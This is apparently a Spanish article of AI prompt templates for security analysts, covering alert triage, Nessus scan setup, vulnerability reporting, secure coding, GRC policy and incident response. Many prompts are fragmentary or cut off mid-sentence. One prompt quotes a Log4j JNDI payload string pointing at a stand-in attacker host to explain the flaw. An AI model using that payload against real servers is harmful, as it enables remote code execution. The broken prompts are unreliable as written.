25 Prompts de IA que Todo Analista de Seguridad Debería Guardar (2026)

[PASTE_SANITIZED_ALERT_DATA]

[PASTE_SANITIZED_FIREWALL_LOGS]

.
1.  En términos sencillos, ¿qué indica típicamente esta firma de malware?
2.  ¿Cuál es el comportamiento común de esta familia de malware? (por ejemplo, ransomware, ladrón de información, RAT)
3.  ¿Cuáles son los 3-5 próximos pasos inmediatos que un analista junior debería tomar para investigar el host

-   **Gancho principal:** El correo electrónico afirmaba ser un "pago de factura urgente requerido" e instaba al usuario a hacer clic en un enlace.
-   **URL:**

está dirigiéndose activamente a nuestra industria (

[PASTE_CVE_LIST_AND_CVSS_SCORES]

.
Redacte un correo electrónico claro y conciso que:
1.  Comience indicando la vulnerabilidad y el sistema afectado (

Actúe como consultor de seguridad. Necesito configurar un escaneo de Tenable Nessus para un nuevo segmento de nuestra red que contiene `[SERVER_TYPES]` (por ejemplo, servidores web, servidores de bases de datos, controladores de dominio).
Recomiende una configuración de política de escaneo de Nessus. Su recomendación debe cubrir:
-   **Plantilla de Escaneo:** Qué plantilla de Nessus usar para empezar (por ejemplo, Basic Network Scan, Credentialed Patch Audit).
-   **Credenciales:** Por qué es necesario un escaneo con credenciales.
-   **Plugins:** Qué familias de plugins son más importantes de habilitar para estos tipos de servidores.
-   **Frecuencia:** Una frecuencia de escaneo recomendada (por ejemplo, semanal, mensual).
Proporcione el resultado como un conjunto de recomendaciones claras con breves justificaciones para cada una.

, pero hemos determinado que es un falso positivo.
Necesito escribir una justificación formal para nuestros registros. Redacte un párrafo que explique *por qué* este hallazgo es un falso positivo.
Utilice la siguiente información:
-   **Hallazgo:** El escáner identificó

Usted es un analista de vulnerabilidades que reporta al CISO. Tengo una lista de 5 vulnerabilidades críticas que fueron descubiertas esta semana.
Cree una tabla de resumen de alto nivel para un informe de gestión. La tabla debe tener las siguientes columnas:
-   `Vulnerabilidad (CVE)`
-   `Sistemas Afectados (Recuento)`
-   `Acción Recomendada`
-   `Equipo Asignado`
-   `ETA de Remediación`
Rellene la tabla usando estos datos:
-   **CVE-2026-1001:** Afecta a 15 servidores web. Acción: Aplicar parche del proveedor. Equipo: Operaciones Web. ETA: 7 días.
-   **CVE-2026-1002:** Afecta a 50 estaciones de trabajo. Acción: Desplegar software actualizado vía SCCM. Equipo: Ingeniería de Escritorio. ETA: 14 días.
-   **CVE-2026-1003:** Afecta a 2 controladores de dominio. Acción: Aplicar cambio de clave de registro. Equipo: Infraestructura. ETA: 3 días.
-   **CVE-2026-1004:** Afecta a 10 servidores Linux. Acción: Actualizar kernel. Equipo: Operaciones Linux. ETA: 10 días.
-   **CVE-2026-1005:** Afecta a 1 aplicación personalizada. Acción: Corrección de código por desarrollador. Equipo: Desarrollo de Aplicaciones. ETA: 30 días.

en busca de posibles vulnerabilidades del OWASP Top 10, buscando específicamente:
-   Fallas de inyección (SQL, Comandos)
-   Autenticación Rota
-   Exposición de Datos Sensibles
-   Deserialización Insegura
Para cada problema que encuentre, proporcione:
1.  El número de línea vulnerable.
2.  Una breve explicación de la vulnerabilidad.
3.  Un ejemplo de código que muestre cómo solucionarlo.
Si no se encuentran problemas, indíquelo.
Fragmento de Código:

Nuestro escaneo de Snyk ha encontrado una vulnerabilidad crítica (`[CVE_ID]`) en la biblioteca de código abierto `[LIBRARY_NAME]`, versión `[VERSION_NUMBER]`.
Explique esta vulnerabilidad a un equipo de desarrollo. Su explicación debe incluir:
1.  Qué permite hacer la vulnerabilidad a un atacante (por ejemplo, ejecución remota de código, denegación de servicio).
2.  Cómo se activa la vulnerabilidad.
3.  Cuál es la acción recomendada (por ejemplo, "Actualizar a la versión X.Y.Z").
Mantenga la explicación concisa y centrada en lo que los desarrolladores necesitan saber para solucionarlo.

Actúe como ingeniero de seguridad principal. Escriba una guía de codificación segura para nuestro equipo de desarrollo sobre el tema de "Validación de Entradas".
La guía debe ser un documento en formato markdown que incluya:
-   Una explicación breve y sencilla de por qué la validación de entradas es importante.
-   Una sección "Hacer" con 2-3 mejores prácticas (por ejemplo, usar listas blancas, validar en el lado del servidor).
-   Una sección "No Hacer" con 2-3 errores comunes (por ejemplo, confiar solo en la validación del lado del cliente, usar listas negras).
-   Un ejemplo de código corto y claro en `[LANGUAGE]` que muestre una implementación "mala" vs. "buena".

que es vulnerable a la inyección SQL.
Refactorice el código para usar consultas parametrizadas (sentencias preparadas) para prevenir esta vulnerabilidad. Muestre los bloques de código "antes" y "después".
Código Vulnerable:

)
-   Token de acceso personal de GitHub (por ejemplo,

Actúe como analista de GRC. Necesito redactar una nueva política de seguridad corporativa sobre el "Uso Aceptable de Herramientas de IA".
La política debe estar estructurada con las siguientes secciones:
1.  **Propósito:** Por qué existe esta política.
2.  **Alcance:** A quién se aplica esta política.
3.  **Declaraciones de Política:** Una lista de reglas, que incluye:
-   Prohibición de usar herramientas de IA públicas con datos sensibles de la empresa o clientes.
-   Requisito de usar solo plataformas de IA aprobadas por la empresa.
-   Directrices para verificar la precisión del contenido generado por IA.
-   Una declaración sobre la propiedad y confidencialidad de los datos.
4.  **Aplicación:** Las consecuencias de violar la política.
Genere un borrador profesional de esta política.

Me estoy preparando para una auditoría. Necesito mapear nuestros controles ISO 27001 existentes a los Criterios de Servicios de Confianza SOC 2.
Para el siguiente control ISO 27001, identifique los criterios SOC 2 correspondientes que ayuda a satisfacer.
**Control ISO 27001:** `[ISO_CONTROL_DESCRIPTION]` (por ejemplo, "A.9.4.1: Restricción de acceso a la información")
Proporcione el TSC de SOC 2 correspondiente y una breve explicación de una frase del mapeo.
Ejemplo de Salida:
**SOC 2 TSC:** CC6.1 - Seguridad de Acceso Lógico
**Explicación:** Este control apoya directamente el requisito de SOC 2 de restringir el acceso lógico a la información y los sistemas basándose en roles y responsabilidades.

) y una captura de pantalla del programa de escaneo (

Estoy realizando una evaluación de riesgos en nuestra nueva implementación de `[CLOUD_SERVICE_NAME]`.
Genere un escenario de riesgo relacionado con "Controles de Acceso Inadecuados". El escenario debe estar estructurado con estos campos:
-   **Escenario de Riesgo:** Una descripción breve de una frase del evento.
-   **Actor de Amenaza:** Quién podría causar esto (por ejemplo, Insider Malicioso, Atacante Externo).
-   **Vulnerabilidad:** La debilidad que lo permite (por ejemplo, Roles IAM excesivamente permisivos).
-   **Impacto:** El resultado empresarial si ocurre (por ejemplo, Violación de datos, interrupción del servicio).
-   **Controles Existentes:** Lo que tenemos actualmente implementado (por ejemplo, MFA, registro básico).
Rellene esta estructura para el riesgo de "Controles de Acceso Inadecuados".

Necesito explicar el riesgo de una vulnerabilidad Log4j sin parchear (CVE-2021-44228) a un comité de riesgos no técnico.
Traduzca la siguiente descripción técnica en una declaración de riesgo empresarial simple y basada en analogías. Evite jerga como RCE, JNDI y LDAP.
**Descripción Técnica:** "La vulnerabilidad Log4j permite la ejecución remota de código no autenticada (RCE) al registrar una cadena especialmente diseñada. Un atacante puede enviar una cadena como `${jndi:ldap://attacker.com/a}` lo que hace que el servidor se conecte de nuevo al sistema del atacante y ejecute una carga maliciosa."
Concéntrese en lo que significa para el negocio (por ejemplo, "Es como dejar una puerta trasera sin llave...").

[PASTE_SANITIZED_AND_TIMESTAMPED_LOG_ENTRIES]

URGENTE: Escalada de Incidente de Seguridad - [INCIDENT_TYPE]

Usted es un gerente senior de respuesta a incidentes. Nuestro equipo acaba de resolver un incidente de `[INCIDENT_TYPE]`.
Cree un esquema detallado para un documento de Revisión Post-Incidente (PIR). El esquema debe incluir todas las secciones principales y sub-viñetas para los temas clave a cubrir en cada una.
Incluya secciones para:
1.  Resumen Ejecutivo
2.  Línea de Tiempo del Incidente (Eventos Clave)
3.  Análisis de Causa Raíz (¿Qué falló?)
4.  Evaluación de Impacto (Empresarial, Técnico, Financiero)
5.  Lecciones Aprendidas (¿Qué salió bien? ¿Qué salió mal?)
6.  Elementos de Acción (Una tabla con columnas para Acción, Responsable y Fecha de Vencimiento)

Estamos comenzando una investigación forense digital en un host comprometido (`[HOSTNAME]`) relacionado con un incidente de exfiltración de datos.
Actúe como investigador forense principal. Genere una lista de las 10 preguntas clave que nuestra investigación necesita responder. Las preguntas deben centrarse en establecer el alcance completo y la línea de tiempo de la brecha.
Ejemplos:
-   ¿Cómo obtuvo el atacante acceso inicial al host?
-   ¿Qué herramientas utilizó el atacante en el host?
-   ¿Qué datos fueron accedidos o exfiltrados del host?

Usted es el jefe de comunicaciones corporativas, trabajando con el equipo de seguridad. Necesitamos enviar una breve actualización interna a todos los empleados sobre un incidente de seguridad reciente que ha sido resuelto.
El incidente fue un `[INCIDENT_TYPE]` que causó `[IMPACT]`.
Redacte un mensaje corto, tranquilizador y no técnico para todo el personal. El mensaje debe:
-   Reconocer que ocurrió una interrupción.
-   Confirmar que el problema ya está resuelto.
-   Agradecer al equipo de seguridad.
-   Recordar a los empleados que permanezcan vigilantes y reporten actividades sospechosas.
No incluya detalles técnicos sobre el incidente.